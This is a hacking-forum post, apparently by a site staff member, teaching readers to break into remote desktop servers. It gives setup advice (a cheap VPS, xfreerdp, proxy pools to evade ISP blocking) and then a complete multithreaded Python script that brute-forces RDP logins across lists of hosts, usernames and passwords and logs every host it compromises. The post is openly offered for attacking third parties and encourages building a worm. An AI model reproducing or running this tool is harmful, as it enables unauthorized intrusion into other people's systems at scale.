How to Hack Any RDP with Python in 2025

✨ DeeZNuTz

✨ Master ✨
Staff member
899
44
1,045
First, get yourself a cheap vps from cockbox.
install xfreerdp.
you should use a proxy pool to avoid getting blocked by some isp's.
now you need to have host.txt, user.txt, pass.txt
note: you can get hosts to attack using my other guide here.
Finally, run the python script and go make yourself a worm

import sys,time,os,subprocess,psutil,threading
import string
import re
import concurrent.futures
from tqdm import tqdm
rdp_port = 3389
timeout_seconds = 10
max_threads = 50
hosts_file = "host.txt"
users_file = "user.txt"
passwords_file = "pass.txt"
pwnd = list()
def run_command(command, timeout_seconds):
try:
p = subprocess.run(command.split(' '),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=timeout_seconds,
text=True) # Use text=True to get string output directly
output = p.stdout
except subprocess.TimeoutExpired:
output = "PROCESS_TIMEOUT"
return output
def crack(host,username,password):
command = "xfreerdp /u:"+username+" /v:"+host+":"+str(rdp_port)+" /p:"+password
output = run_command(command,timeout_seconds)
if "ERRCONNECT_LOGON_FAILURE" in output:
pass
elif "ERRCONNECT_CONNECT_TRANSPORT_FAILED" in output:
pass
elif "PROCESS_TIMEOUT" in output:
print(host+":"+str(rdp_port)+" - "+username+":"+password)
pwnd.append(host)
def update_progress(*_):
progress_bar.update()
with open(hosts_file) as file:
hosts = [line.rstrip() for line in file]
with open(users_file) as file:
users = [line.rstrip() for line in file]
with open(passwords_file) as file:
passwords = [line.rstrip() for line in file]
total_iterations = len(hosts) * len(users) * len(passwords)
progress_bar = tqdm(total=total_iterations, desc="Progress")
with concurrent.futures.ThreadPoolExecutor(max_threads) as executor:
for h in hosts:
for u in users:
for p in passwords:
if h in pwnd:
continue
executor.submit(crack,h,u,p).add_done_callback(update_progress)